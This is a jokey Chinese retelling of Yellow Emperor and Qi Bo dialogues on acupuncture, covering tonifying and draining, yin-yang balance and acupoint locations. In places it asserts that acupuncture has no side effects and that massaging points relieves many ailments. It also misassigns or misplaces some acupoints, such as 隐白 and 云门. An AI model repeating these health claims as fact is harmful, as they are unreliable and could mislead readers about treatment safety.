岐伯笑了笑，说：“那是自然。不过啊，黄帝啊，咱们这中医虽然博大精深，但也不是万能的。就像是咱们生活中的事情一样，总有一些是无法改变的。所以啊，咱们还是得保持一颗平常心，顺其自然，这样才能活得健康长寿啊！” 黄帝一听，哈哈大笑：“老岐啊，你这说得真是太好了！看来咱们这中医啊，不仅治病救人，还能教人做人啊！” 两人相视而笑，这场关于阴阳俱溢的讨论也就在欢声笑语中结束了。不过呢，黄帝和岐伯的对话却给后人留下了宝贵的财富。他们不仅揭示了中医阴阳平衡的重要性，还提醒了人们在面对疾病时应该保持一颗平常心，顺其自然。毕竟啊，健康才是最重要的嘛！ 所以啊，各位小伙伴们，咱们平时也得注意保持阴阳平衡哦！别总是熬夜、暴饮暴食啥的，这样可是会打破咱们的阴阳平衡的。要是真遇到了啥不舒服的情况呢，也别急着乱吃药、乱艾灸啥的，还是得先去找找病因，对症下药才行哦！不然的话呢，可就要像黄帝和岐伯说的那样啦——“变易而为他病矣”！ 黄帝突发奇想，对身边的岐伯说：“岐伯啊，我一直有个疑惑，这针灸之道，里面到底藏着啥玄机呢？你能不能给我说道说道？” 岐伯一听，嘿，这可是个展示自己深厚医学功底的大好机会，于是清了清嗓子，摆出一副老学究的架势，缓缓开口：“陛下啊，要说这针灸之道，那可真是一门大学问。简单来讲，就是‘凡刺之道，气调而止’。啥意思呢？就是说，咱们扎针啊，目的就是要把人体内的那股子气给调顺了。气顺了，病自然就跑了，懂不？” 黄帝一听，眉头微皱，心里嘀咕：“这说的啥跟啥呀，气调而止？听起来好玄乎。”但脸上还是笑嘻嘻地说：“哦，原来如此，那具体怎么操作呢？” 岐伯一看黄帝这副似懂非懂的样子，心知这家伙肯定没听明白，于是继续深入浅出地讲解：“陛下啊，您想啊，咱们人体里这股气，有阴有阳，就像咱们生活中的阴阳天一样，有时候阳光明媚，有时候阴雨绵绵。针灸呢，就像是天气预报员，通过扎针，咱们可以补阴泻阳，让体内的阴阳平衡起来。” “补阴泻阳？”黄帝一听，更糊涂了。 岐伯见状，无奈地摇了摇头，心想：“这皇帝，医学知识真是欠费严重啊。”于是，他换了个更接地气的说法：“这么说吧，补阴就像是给身体喝水，泻阳就像是给身体降火。水喝多了，火降下来了，身体自然就舒服多了。针灸呢，就是通过刺激特定的穴位，来达到这个目的。” 黄帝一听，这才恍然大悟：“哦，原来如此，那针灸还有啥好处呢？” 岐伯一看黄帝终于上道了，心里那个美啊，于是继续滔滔不绝：“陛下啊，针灸的好处那可多了去了。比如说，它能让我们体内的气血运行得更加顺畅，就像是高速公路上的汽车，少了拥堵，自然就跑得快了。气血顺畅了，咱们的身体自然就棒了，耳朵能听得更清楚，眼睛能看得更明亮，整个人都精神焕发，跟打了鸡血似的。” 黄帝一听，乐开了花：“哈哈，岐伯啊，你这说得我都心动了，我也想试试针灸，看看能不能让我这把老骨头再焕发第二春。” 岐伯一听，连忙摆手：“陛下啊，针灸这事儿，可不是随便乱扎的。得根据每个人的体质、病情，还有天时地利人和，综合考虑才行。不然的话，气血运行不畅，反而会适得其反。” 黄帝一听，吓得缩了缩脖子：“这么严重？那我还是算了，安全第一。” 岐伯一看黄帝这副胆小如鼠的样子，心里那个无奈啊，但嘴上还是安慰道：“陛下啊，您也别太担心。只要找对了医生，针灸还是挺安全的。就像咱们吃饭一样，吃对了是营养，吃错了是毒药。针灸也是同理。” 终始篇第九（四） 黄帝突发奇想，决定向岐伯请教一个深奥的问题：“岐伯啊岐伯，我听说针灸能治病救人，但其中的虚实补泻之道，我实在是搞不太清楚。你能不能给我讲讲，让我这脑袋瓜子也开开窍？” 岐伯一听，哈哈一笑，说：“黄帝啊黄帝，你这问题问得好！针灸中的虚实补泻，那可是咱们中医的精髓所在。来来来，我给你细细道来。” 岐伯清了清嗓子，开始了他那既专业又幽默的讲解：“所谓‘气至而有效’，就是说针灸的时候，得让那股神奇的气流到达病灶，这样才能有效果。要是你想泻掉身体里的邪气，那就得让原本就虚的地方更虚。这听起来有点玄乎，但咱们用实例说话。比如说，一个人脉象本来就大，但不坚实，这时候你要是给他泻针，他的脉象就会变得更虚，但脉形还是那么大，只不过摸起来软绵绵的，像一样。要是泻完针后，他的脉象还是跟之前一样坚实，嘿，那他可能只是嘴上说感觉好多了，其实病根儿还没拔呢！” 黄帝听得连连点头，笑道：“原来如此，那补针呢？” 岐伯接着说：“补针嘛，就是给身体加油打气，让原本就实的地方更实。还是拿脉象来说事儿，如果一个人脉象本来就大且坚实，你给他补上一针，他的脉象就会变得更加坚实有力，就像打了鸡血一样。反之，如果补完针后，他的脉象还是跟之前一样大，但摸起来没那么坚实了，那他可能也只是在跟你客气，说感觉好多了，其实病情还在那儿晃悠呢！” 黄帝一听，恍然大悟：“原来如此，补则实、泻则虚，这道理我明白了。但你说这针灸得通气，是不是得找准穴位才行？” 岐伯笑道：“那是自然，穴位就像是身体的秘密通道，找对了，就能让针灸的效果事半功倍。来来来，我给你介绍几个重要的穴位，保证让你听得津津有味！” 岐伯首先指了指手臂上的“合谷穴”：“看这里，合谷穴，也就是咱们常说的‘虎口’。它位于手背，第一、二掌骨间，第二掌骨桡侧的中点处。这个穴位啊，是个万能穴，头疼脑热、牙疼、感冒啥的，按一按它，都能得到缓解。它就像是身体里的一个小药箱，随时准备给你解围。” 黄帝一听，眼睛一亮：“这么神奇？那我得赶紧记下来。” 岐伯又指了指腿上的“足三里”：“再看看这个，足三里，在小腿外侧，犊鼻下3寸，胫骨前嵴外1横指处。这可是个养生大穴，中医里有句话叫‘若要安，三里常不干’，意思就是说，经常艾灸足三里，能强身健体，少生病。它就像是身体里的一个超级能量站，给你源源不断的动力。” 黄帝摸了摸自己的小腿，笑道：“哈哈，我以后得多揉揉这个‘能量站’，让自己更强壮！” 岐伯继续介绍：“还有这个‘太冲穴’，在足背，第1、第2跖骨间，跖骨结合部前方凹陷中，或触及动脉搏动处。它可是疏肝解郁的好手，心情不好、压力大的时候，按一按它，就能让心情变得舒畅起来。它就像是身体里的一个小心理医生，随时准备给你开解。” 黄帝听得津津有味，忍不住插话道：“那这些穴位，是不是也能根据虚实来补泻呢？” 岐伯点了点头：“正是如此。比如说，你感觉身体虚弱，力气不足，那就可以用补法刺激足三里，给它加点油；要是你上火了，口腔溃疡、便秘啥的，那就用泻法刺激合谷穴，给它降降温。至于太冲穴嘛，心情烦躁的时候就用泻法，让它帮你把心里的火发出去；情绪低落的时候就用补法，让它给你加点正能量。” 黄帝听得连连点头，笑道：“这针灸之道，还真是博大精深啊！不过，你说这虚实补泻，得怎么判断呢？” 岐伯笑道：“这就得靠咱们中医的望闻问切了。望，就是看病人的气色、舌苔啥的；闻，就是听病人的声音、闻气味；问，就是问病人的症状、病史啥的；切，就是摸病人的脉象。通过这些方法，咱们就能大致判断出病人的虚实情况，然后再决定是用补法还是泻法。” 黄帝听得入了迷，感叹道：“岐伯啊岐伯，你这一番讲解，可真是让我受益匪浅啊！看来，这中医之道，我还得多向你请教才是。” 岐伯摆了摆手：“哪里哪里，黄帝啊黄帝，你可是咱们华夏部落的领袖，我这点小知识，能入得了你的眼就不错了。不过话说回来，这针灸之道，虽然神奇，但也得因人而异，因病而异。咱们得多实践，多总结，才能越用越精。” 黄帝心血来潮，对身边的岐伯说：“嘿，岐伯啊，我一直对那个‘三刺’的道理挺好奇的，你给咱讲讲呗！”岐伯一听，立马摆出一副老中医的架势，慢悠悠地说：“这事儿啊，得从针灸说起。凡是针灸这一类的活儿，都得讲究个‘三刺’到‘谷气’，听着玄乎，其实里头学问大了去了。” 黄帝一听，眼睛立马亮了：“哦？愿闻其详！” 岐伯清了清嗓子，开始了他的“三刺”大戏：“你看啊，咱们人体里的邪气，就像那些调皮捣蛋的小鬼，到处乱窜，跟正经的阴阳之气抢地盘。这阴阳一乱，身体的顺逆、沉浮就全乱了套，连四季的规律都不认了，简直就是一锅乱炖。这时候，就得咱们针灸上场，把这些小鬼一个个揪出来！” 黄帝听得津津有味，点头表示赞同：“继续说，继续说！” 岐伯接着说：“这第一刺啊，就像是给身体发了个‘阳邪出动令’，让那些在阳经上捣乱的小鬼无处遁形，乖乖投降。第二刺呢，就是给阴经上的邪气来个‘大扫除’，让它们也知道咱们的厉害。到了第三刺，那就是请出咱们的大杀器——‘谷气’了！这谷气啊，就像是身体里的正能量，一针下去，正气满满，邪气全消，身体立马就舒坦了。” 黄帝一听，乐了：“哈哈，这谷气听起来就像是超级英雄啊，一出场，邪恶势力全得趴下！” 岐伯也笑了：“没错，谷气一到，咱们就能感觉到，补的地方充实了，泻的地方空虚了，这就是谷气到位的标志。有时候啊，邪气虽然被赶跑了，但阴阳还没完全调和好，这时候病人可能会觉得病还没好透，但其实啊，病势已经大大衰退了，就像那些小鬼已经被咱们打得落荒而逃了。” 黄帝听得眉开眼笑，拍着岐伯的肩膀说：“岐伯啊，你这解释得太到位了，通俗易懂，连我都能听懂！” 岐伯谦虚地笑了笑，说：“哪里哪里，黄帝您英明神武，一听就懂，我这也是班门弄斧罢了。” 说到这“三刺”，咱们现代人听起来可能觉得挺玄乎，但其实啊，它背后的中医理论和针灸理论可是博大精深。咱们不妨借着这个机会，好好聊聊针灸里的那些穴位，看看它们到底有啥神奇之处。 首先啊，咱们得知道，针灸里的穴位就像是身体上的一个个小开关，每个开关都对应着不同的功能和作用。比如说啊，有个穴位叫“合谷”，它就在咱们大拇指和食指之间的那个“虎口”位置。这个穴位啊，就像是身体里的“止痛开关”，一按下去，头疼脑热、牙疼啥的都能缓解不少。你说神奇不神奇？ 再来说说“足三里”，这个穴位在咱们小腿外侧，膝盖骨下三寸的地方。它可是个“万能穴”，啥消化不良、胃痛、腹胀啊，都能找它帮忙。而且啊，经常按按这个穴位，还能增强免疫力，让咱们少生病呢！ 还有啊，那个“内关穴”，在咱们手腕横纹上两寸的地方。这个穴位啊，就像是身体里的“心情调节器”，心情烦躁、失眠多梦啥的，按按它就能舒缓不少。你说这针灸是不是比心理医生还管用？ 当然了，这些穴位只是冰山一角，咱们人体上还有好几百个穴位呢，每个都有它独特的功效和作用。不过啊，话说回来，针灸这东西可不是随便乱扎的，得找专业的中医大夫才行。不然啊，扎错了地方，那可就得不偿失了。 咱们再回到“三刺”的话题上来。这“三刺”啊，其实就像是给身体做了个深度的“spA”，通过不同层次的刺激，把身体里的邪气一点点逼出来，让正气充盈全身。这个过程啊，就像是给身体洗了个澡，把里面的垃圾和毒素都清理干净了。 而且啊，这针灸还有一个好处，就是它没有副作用。你想啊，吃药打针啥的，都得经过肝肾代谢，说不定还会带来一堆副作用。但针灸就不一样了，它直接作用于穴位，通过调节身体的能量平衡来达到治病的目的。你说这多环保啊，连垃圾都不用产生！ 咱们再聊聊这针灸里的那些“谷气”。其实啊，“谷气”这个词在中医里挺玄乎的，它指的就是身体里的正气、能量啥的。咱们针灸的目的啊，就是通过刺激穴位来调动这些正气，让它们去跟邪气战斗。所以啊，“谷气至”其实就是咱们身体里的正气被调动起来了，开始发挥作用了。 这个过程啊，就像是咱们身体里开了一场“正义联盟”的大会。正气们一听说要跟邪气干架，立马就精神抖擞地集合起来了。它们有的负责攻击、有的负责防御、还有的负责后勤支援。这样一来啊，邪气哪还能扛得住？只能乖乖投降了！ 不过啊，这“正义联盟”的大会也不是随时都能开的。它得在咱们身体需要的时候才召开。所以啊，针灸也不是越频繁越好。得根据咱们身体的实际情况来。不然啊，正气们老得开会，也得累垮了不是？ 黄帝闲来无事，就琢磨起人体里的那些阴阳八卦来了。他挠了挠头，自言自语道：“哎，我这心里怎么老是犯嘀咕呢？阴盛阳衰、阴虚阳亢，这些到底是个啥玩意儿？为啥我的身体时不时就要给我来个小脾气，不是这儿疼就是那儿痒的？” 于是，黄帝决定找个专家来问问。他左思右想，觉得岐伯这家伙平时就爱鼓捣这些玄乎的东西，肯定知道答案。于是，黄帝一个电话就把岐伯给叫来了。 岐伯一进门，就看到黄帝正愁眉苦脸地坐在那儿，手里拿着个小本本，上面画满了圈圈叉叉，一看就知道是在研究阴阳五行。岐伯心中暗笑，心想：“这家伙，又钻牛角尖了。” 黄帝见岐伯来了，连忙起身迎接，一脸诚恳地说：“岐伯啊，我这心里有个疙瘩，不解开难受啊。你说说，这阴盛而阳虚、阴虚而阳盛，到底是个啥道理？” 岐伯一听，心中暗喜：“哈哈，终于轮到我岐伯大神显灵了！”他清了清嗓子，开始娓娓道来：“黄帝啊，你这问题问得好！阴阳呢，就像是咱们身体里的两个大佬，一个管冷，一个管热。阴呢，就像是那个爱吹空调的冷面大佬；阳呢，就像是那个爱晒太阳的热心大哥。要是冷面大佬太强势了，热心大哥就得靠边站，这就是阴盛而阳虚；反过来呢，要是热心大哥太热情了，冷面大佬就得躲起来凉快凉快，这就是阴虚而阳盛。” 黄帝一听，眉头稍微舒展了一些，但还是半信半疑：“那，这俩大佬要是掐起架来，我该怎么办呢？” 岐伯嘿嘿一笑，说：“这你就不懂了吧！咱们中医啊，有个绝招，叫做‘调和阴阳’。要是阴盛阳衰了，咱们就先给热心大哥加加油，让他有力气跟冷面大佬抗衡；然后再给冷面大佬降降温，让他别太嚣张。这样一来二去，俩大佬就握手言和了，身体也就平衡了。” 黄帝一听，眼睛一亮：“哦？还有这等妙招？那阴虚阳亢呢？” 岐伯继续解释道：“阴虚阳亢也是同样的道理。咱们得先给冷面大佬添点衣服，让他别太冷；然后再给热心大哥泼点冷水，让他别太激动。这样一来，俩大佬就又和好了，身体也就没事了。” 黄帝听了，恍然大悟：“原来如此！看来我这身体里的阴阳大佬，也得好好哄哄才行啊！” 岐伯点头笑道：“没错！身体里的阴阳大佬就像是小孩子一样，得顺着他们来。不过呢，咱们中医还有个更绝的招儿，叫做‘针灸’。这针灸啊，就像是给身体里的阴阳大佬请了个和事佬，能帮他们化解矛盾，恢复和谐。” 黄帝一听针灸，来了兴趣：“针灸？这东西怎么用啊？” 岐伯于是开始详细讲解起针灸来：“针灸呢，就是用那些细细长长的银针，扎进身体里的特定穴位。这些穴位啊，就像是身体里的交通要道，针灸一扎进去，就能调节气血、调和阴阳。比如说，要是阴盛阳衰了，咱们就可以在热心大哥的地盘上扎几针，给他加加油；要是阴虚阳亢了，咱们就可以在冷面大佬的地盘上扎几针，给他降降温。这样一来，俩大佬就又能和平共处了。” 黄帝听得津津有味，不禁拍案叫绝：“妙哉！妙哉！原来针灸还有这等神奇功效！看来我以后得多学学中医了。” 岐伯笑道：“那是自然！中医可是咱们老祖宗留下来的宝贝啊。不过呢，学中医也得有耐心和细心哦。毕竟身体里的阴阳大佬可不是那么好哄的。” 终始篇第九（五） 话说有一天，黄帝老爷子闲来无事，就琢磨起人体那些奇经八脉来了。他心想：“哎呀，我这身体里的经络穴位，跟迷宫似的，特别是阳明、厥阴、少阴这几个家伙，虚实补泻到底怎么个搞法呢？”于是，他就跑去问岐伯了。 岐伯一听，嘿，这问题有意思，就开始给黄帝讲解起来：“黄帝啊，你问对人啦！阳明、厥阴、少阴这三条经脉啊，它们的脉动都在咱们脚大趾头那块儿藏着呢。你得好好审一审，看看它们是虚是实。要是虚了还去泻它，那可就是雪上加霜，重虚了啊！重虚的后果嘛，嘿嘿，你想想，房子地基不稳还一个劲儿地挖土，能不塌吗？所以啊，扎针这事儿，得讲究技巧。” 黄帝一听，连忙点头：“对对对，您继续，我继续听。” 岐伯接着说：“扎针前啊，你得先用手指按一按，感觉一下脉动。要是跳得又实又快，那就赶紧泻它；要是跳得慢悠悠的，没啥力气，那就得补一补啦。要是反着来，嘿，那可就是跟身体过不去了，病只会越来越重哦。” 黄帝一听，恍然大悟：“原来如此，原来如此！那这三条经脉在脚大趾头那块儿具体是怎么个排布呢？” 岐伯一笑：“这事儿啊，简单！阳明在上头，厥阴在中间，少阴在最底下。咱们一个个来说。” 先说说阳明经吧。阳明经啊，那可是胃经的老大哥，它有个穴位在脚大趾头上，叫隐白穴。这个隐白穴啊，就在咱们脚大趾头的内侧，趾甲根角旁边那么一点点。它可是个宝贝，能治疗各种出血症，比如鼻子出血、月经量过多啥的。要是你觉得胃不太舒服，消化不太好，也可以揉揉它，立马感觉胃里面舒服多了，跟吃了健胃消食片似的。 不过啊，黄帝，你得记住了，隐白穴这地儿，要是脉动得跟小兔子似的，砰砰直跳，那就得赶紧泻它，可能是胃火太旺了。要是跳得慢悠悠的，没啥力气，那就得补补，可能是脾胃虚弱了。要是搞反了，嘿嘿，胃可就要跟你闹意见了，到时候吃啥啥不香，可就怪不得别人咯。 再来说说厥阴经吧。厥阴经啊，那可是肝经的小弟，它也有个穴位在脚大趾头上，叫大敦穴。这个大敦穴啊，就在咱们脚大趾头的外侧，趾甲根角旁边那么一点点。它可是个疏肝理气的能手，要是你觉得心情不太好，老爱发脾气，或者胸胁那块儿老是隐隐作痛，揉揉它，立马感觉心情舒畅多了，跟吃了开心果似的。 黄帝啊，你得记住了，大敦穴这地儿，要是脉动得跟打鼓似的，咚咚直响，那就得赶紧泻它，可能是肝气太旺了，再不泻泻，就要变成“暴脾气”老爷爷了。要是跳得慢悠悠的，没啥力气，那就得补补，可能是肝血不足了，再不补补，就要变成“林黛玉”小妹妹了。要是搞反了，嘿嘿，肝可就要跟你急眼了，到时候心情低落、失眠多梦啥的，可就自己找上门来了哦。 最后说说少阴经吧。少阴经啊，那可是肾经的老大，它也有个穴位在脚上，不过不在脚大趾头了，在脚心的位置，叫涌泉穴。这个涌泉穴啊，可是个养生的大穴，能补肾益精、强身健体。你要是觉得腰膝酸软、头晕耳鸣啥的，揉揉它，立马感觉精神多了，跟打了鸡血似的。 黄帝啊，你得记住了，虽然涌泉穴不在脚大趾头上，但它跟少阴经可是关系密切。涌泉穴这地儿，要是感觉热乎乎的，跳得挺有劲儿，那就说明肾气充足，身体倍儿棒。要是感觉冷冰冰的，跳得没啥力气，那就得补补了，可能是肾气不足了。补肾嘛，可是个大事儿，得赶紧行动起来，不然到时候啥事儿都提不起劲儿来，可就麻烦咯。 黄帝听完岐伯的讲解啊，心里那个美啊，心想：“这下可算是把阳明、厥阴、少阴的虚实补泻搞明白了。”不过啊，他心里还是有点忐忑：“这虚实补泻啊，老是记不住咋办呢？” 岐伯一看黄帝老爷子这个表情啊，就知道他心里在想啥了。于是就给他支了个招：“黄帝老爷子啊，这事儿简单。你看啊，虚就是身体缺东西了，得补；实就是身体东西太多了，得泻。就像你家里要是没钱花了，就得赶紧赚钱（补）；要是家里东西堆得满满当当的，没地方放了，就得赶紧卖点东西（泻）。所以啊，你记住这个原则就行了：虚则补之，实则泻之。至于阳明、厥阴、少阴嘛，你就把它们想象成你家里的三个房间吧：阳明是客厅（在上头），厥阴是卧室（在中间），少阴是厨房（在最底下）。这样一来，你就好记多了。” 黄帝，突发奇想，对身边的岐伯说：“岐伯啊，我这心里头啊，老是对针灸这事儿痒痒的，你给讲讲这其中的门道呗？” 岐伯一听，嘿，这可是个展示自己深厚中医功底的好机会，于是清了清嗓子，慢悠悠地说：“黄帝大人啊，这事儿说来话长，但简单讲呢，就是‘膺俞中膺，背俞中背’。这话听着玄乎，其实啊，就是说咱们胸前的穴位啊，多跟胸肺有关，背上的穴位呢，就多跟脏腑相连啦。” 黄帝一听，眉头微皱：“哦？这膺俞、背俞，听着挺高大上，你给具体说说呗？” 岐伯一看黄帝这求知若渴的样子，心里那个得意啊，于是开始娓娓道来：“先说这膺俞吧，现代穴位里啊，咱们可以把它理解为胸部的膻中穴。这膻中穴啊，就在咱们两乳头连线的中点，那可是个‘气海’，主管着咱们一身的气机顺畅。你要是觉得胸闷气短，或者是心情不爽，揉揉这儿，保管你立马舒畅不少。想想啊，就像是给心里头的郁闷开了一扇窗，透气多了！” 黄帝一听，眼睛一亮：“嘿，这穴位还真神奇！那背俞呢？” 岐伯摸了摸下巴上的长须，继续说道：“背俞啊，咱们可以理解为背部的膀胱经上的那些俞穴，比如肺俞、心俞、肝俞啥的。这些穴位啊，就像是脏腑在背上的‘小镜子’，脏腑有啥问题，背上这些俞穴就会有反应。比如说你感冒了咳嗽，肺俞那儿可能就有点压痛，揉揉或者扎扎针，感冒就好得快多了。就像是给脏腑做了个按摩，舒服得很呢！” 黄帝听得津津有味，突然又想到了什么：“岐伯啊，我听说有人肩膀脖子不舒服，针灸就能搞定，这是咋回事？” 岐伯哈哈一笑：“这事儿啊，简单！肩膀脖子不舒服，多半是因为肩颈部的经络不通。咱们可以取肩井穴、风池穴这些。肩井穴啊，就在肩膀上，大椎穴与肩峰连线的中点，那可是个‘通气口’，按按或者扎扎针，肩颈的紧张感立马就松了。风池穴呢，在脑后，枕骨下方，两根大筋的外侧凹陷处，揉揉这儿，头疼脑热都能缓解不少。就像是给肩颈做了个深度spA，那叫一个爽歪歪！” 黄帝一听，乐呵呵地说：“哈哈，岐伯啊，你这说得我都心痒痒了，想亲自试试针灸了！” 岐伯一看黄帝这跃跃欲试的样子，赶紧提醒：“黄帝啊，针灸这事儿啊，看似简单，实则深奥，还是得找专业的针灸师才行啊。不过呢，我可以再教你一招简单的，对付重舌（就是舌头肿大，说话不利索那种）有奇效。” 黄帝一听，立马来了精神：“快说快说，啥招儿？” 岐伯神秘一笑：“这招儿啊，就是用铍针（一种古代很细的针）刺舌下的舌系带。想象一下啊，那舌系带就像是舌头上的‘小皮筋’，刺一下，把‘小皮筋’放松了，舌头自然就消肿了。不过这活儿啊，得专业人士来干，咱们自己可别轻易尝试哦！” 黄帝一听，哈哈大笑：“哈哈，岐伯啊，你这说得我都想去学医了！不过话说回来，这针灸还真是神奇啊，以后我得好好推广，让天下百姓都能受益！” 岐伯一听，也是满脸欣慰：“黄帝大人啊，您能有这份心，那真是天下百姓的福气啊！不过话说回来，针灸虽然神奇，但也得结合望闻问切，辩证施治才行。咱们中医啊，讲究的是整体观念，阴阳平衡，可不是一针包治百病那么简单哦！” 黄帝闲来无事，就琢磨起人体这复杂的构造来了。他挠着头问岐伯：“岐伯啊，你说这针灸之道，关于筋和骨的那些弯弯绕绕，咱能不能好好聊聊？我这心里头啊，跟揣了个十万个为什么似的。” 岐伯一听，哈哈一笑，捋了捋长胡子，说：“黄帝，您这可是问对人了！来来来，咱们这就开讲。” “您看哈，要是有人手伸不直，老弯着，那多半是他的筋出了问题。筋嘛，就像是咱们身体里的橡皮筋，得有弹性，才能伸缩自如。要是筋紧张了、痉挛了，或者气血不通了，那手自然就弯着啦。这时候，咱们针灸就得守着那些能舒筋活络的穴位，比如咱们手上的‘合谷穴’。” “合谷穴啊，就在您大拇指和食指中间，那块儿鼓起来的肌肉上，一按下去，酸酸涨涨的，特舒服。这个穴位啊，那可是疏通经络、调和气血的一把好手，筋的问题找它准没错！” 黄帝一听，眼睛一亮：“哟呵，这穴位还挺神奇！那要是手能伸直，就是弯不回来，这又是咋回事儿？” 岐伯摆了摆手，笑道：“这事儿简单，手能伸不能屈，那就是骨头的事儿了。骨头啊，就像是咱们身体的支架，得硬朗，但也得灵活。要是骨头关节僵硬了，或者骨质疏松了，那手自然就弯不回来了。这时候，咱们就得守着那些能强筋壮骨的穴位，比如‘肾俞穴’。” “肾俞穴啊，在腰背上，第二腰椎棘突下，旁开1.5寸的地方。您可别小看这穴位，它可是补肾益精、强健腰膝的宝贝。肾主骨嘛，骨头的问题，找肾俞穴准没错！不过啊，黄帝，我得提醒您，这穴位自己可不好按，得找个手艺好的针灸师才行。” 黄帝一听，乐的直拍大腿：“哈哈，岐伯啊，你这讲解真是通俗易懂，我这脑袋瓜子算是开窍了！” 岐伯笑了笑，接着说：“不过啊，黄帝，这针灸之道，可不仅仅是守着几个穴位那么简单。咱们还得根据病情，灵活运用各种手法，比如提插、捻转啥的，那才叫真正的技艺高超呢！” 黄帝一听，眉头一皱：“哎呀妈呀，这听起来挺复杂啊！岐伯啊，你能不能再给我讲讲，这针灸具体是咋操作的？我这心里头啊，还是有点儿没底。” 岐伯一听，哈哈大笑：“黄帝，您这可是问到点子上了！来来来，咱们这就来个现场教学。” 说着，岐伯就拿起一根银针，在黄帝面前比划起来：“您看哈，这针灸啊，首先得选对穴位，然后消毒、进针。进针的时候啊，得讲究个快、准、狠，就像咱们射箭一样，嗖的一下，就扎进去了。” 黄帝一听，吓得往后一缩：“哎呀妈呀，这听起来怪吓人的！岐伯啊，你这手法可得温柔点儿，我这老骨头可经不起折腾。” 岐伯一听，乐的直摇头：“黄帝，您这可是多虑了！咱们针灸师啊，那都是经过千锤百炼的，手法熟练得很。您就放心吧，保证让您舒舒服服的。” 说着，岐伯就在黄帝手上的合谷穴上轻轻一扎，黄帝只觉得一股暖流从指尖涌向全身，舒服得直哼哼：“哎呀，这针灸还真是神奇啊！岐伯啊，你这手艺真是绝了！” 岐伯一听，谦虚地笑了笑：“哪里哪里，这都是咱们老祖宗传下来的宝贝，我这不过是拾人牙慧罢了。” 黄帝一听，感慨万分：“岐伯啊，你这话说得在理。咱们中医啊，那可是源远流长，博大精深。咱们得好好传承下去，让更多的人受益啊！” 终始篇第九（六） 话说有一天，黄帝突然心血来潮，对身边的岐伯说：“嘿，岐伯，我这心里一直有个疑惑，就是想不通针灸里那虚实补泻的门道。你能不能给我讲讲，让我这脑袋瓜子也开开窍？” 岐伯一听，心里暗笑：“这黄帝啊，平时一副威严模样，原来也有求知若渴的时候。”于是，岐伯清了清嗓子，开始了他的“针灸秘籍”传授。 “黄帝啊，要说这补泻之道，其实就跟你吃饭一样，得讲究个‘恰到好处’。你想啊，要是肚子饿了，就得多吃点，这就是‘补’；要是吃撑了，就得悠着点，这就是‘泻’。针灸也是这样，得根据人体的虚实来。” “比如说，要是哪个地方‘实’了，比如咱们现在说的胃火旺盛，那你就得深刺，就像挖宝藏一样，得挖到深处才能把邪气给逼出来。而且啊，刺完了还不能急着按，得让它慢慢排气，这就叫‘深取之，稀按其痏，以极出其邪气’。” 黄帝一听，眼睛一亮：“哦？这么说来，那‘虚’的时候呢？” 岐伯笑了笑：“要是‘虚’了，比如气血两虚，那你就得温柔点，浅刺就行，像是在给花儿浇水，得慢慢来，别一下子把根给冲坏了。刺完了还得赶紧按住，别让外面的邪气趁机溜进来，这就叫‘浅刺之，以养其脉，疾按其痏，无使邪气得入’。” 黄帝听得连连点头，但又忍不住问：“可这邪气、谷气，我怎么分辨呢？” 岐伯神秘一笑：“这你就不懂了吧！邪气来的时候，那可是急吼吼的，像是急着赶火车一样；而谷气呢，就从容多了，像是悠闲散步的老大爷。你感受一下，是不是这个理儿？” 黄帝一听，顿时恍然大悟：“原来如此！那脉象实的时候，深刺；脉象虚的时候，浅刺。这不就是针灸的精髓吗？” 岐伯竖了个大拇指：“对头！不过啊，这还不够。比如说，你要是哪里痛了，那脉象肯定是实的。这时候，你就得找那些能止痛的穴位，狠狠地扎一针，让邪气无处遁形！” 黄帝一听，兴趣更浓了：“那你说说，都有哪些止痛的穴位？” 岐伯摸了摸下巴，开始如数家珍：“要说止痛的穴位啊，那可得多了去了。比如合谷穴，就在你手背，第一、二掌骨之间，靠近第二掌骨桡侧的中点。这个穴位啊，可是个‘万能止痛穴’，头痛、牙痛、胃痛，一针下去，保管你痛得没那么厉害。” 黄帝一听，哈哈大笑：“这不就是个‘止痛小能手’嘛！那还有其他的吗？” 岐伯点了点头：“当然啦！还有足三里，这可是个养生大穴，位于小腿外侧，犊鼻下3寸，胫骨前嵴外1横指处。你要是胃痛、腹胀、便秘啥的，扎这个穴位，保证你舒服多了。” 黄帝听得津津有味：“听起来好神奇啊！那还有没有其他穴位，也能让人‘痛并快乐着’的？” 岐伯被黄帝的幽默逗乐了：“哈哈，黄帝兄啊，你这要求可真高！不过啊，还真有这么一个穴位，叫内关穴。它位于前臂掌侧，腕横纹上2寸，掌长肌腱与桡侧腕屈肌腱之间。这个穴位啊，对于心痛、胃痛、呕吐啥的，都有很好的缓解作用。一针下去，保证你‘痛并快乐着’，哈哈！” 黄帝突发奇想，对身边的岐伯说：“岐伯啊，我这心里头有个疑惑，就像那猫爪子挠的一样，痒痒得紧。你说这病啊，有时候在头上，有时候在脚上，咱们针灸的时候，有没有什么铁定的法则呢？” 岐伯一听，嘿，这黄帝还真是个爱钻研的主儿，于是慢悠悠地捋了捋他那飘逸的胡须，缓缓道来：“这事儿啊，简单得很！从腰往上，不管是头疼脑热还是脖子酸，你找手太阴肺经和手阳明大肠经就对了；从腰往下，腿疼脚麻啥的，那就得靠足太阴脾经和足阳明胃经来救场了。记住啊，病在上面，咱们就从下面动手；病在下面，咱就往高处找穴位。头上有病，你就往脚上扎；腰上不舒服，那就看看膝盖后头的腘窝，说不定有惊喜哦！” 黄帝一听，眼睛一亮，心想：这岐伯还真是有两把刷子，说得头头是道。不过，黄帝也是个爱打破砂锅问到底的主儿，接着又问：“那这病到底是怎么生出来的，又从哪儿开始扎针呢？” 岐伯微微一笑，仿佛一切尽在掌握之中：“这事儿啊，得从头说起。病要是生在头上，那感觉就像是戴了个十斤重的大铁帽，沉甸甸的；生在手上，手臂就跟灌了铅似的，抬都抬不起来；生在脚上，那就更别提了，走一步都像是踩在棉花上，软绵绵的。所以啊，治病这事儿，得追根溯源，先找到病根儿，再下手不迟！” 黄帝一听，连连点头，心里那叫一个佩服啊！ 岐伯娓娓道来：首先说说这手太阴肺经，它可是个大佬级别的存在，从胸部一路走到大拇指，负责守护你的上半身。其中有个穴位叫中府，就在你锁骨下方，乳头外侧两寸的地方。这个穴位啊，就像是肺部的守门员，你要是咳嗽、气喘啥的，揉揉它，立马就舒服多了。 再来说说云门穴，就在中府穴下面一寸多的地方。这个穴位啊，就像是肺部的通风口，你要是觉得胸闷、气短，那就多揉揉云门穴，保证你呼吸顺畅，心情舒畅！ 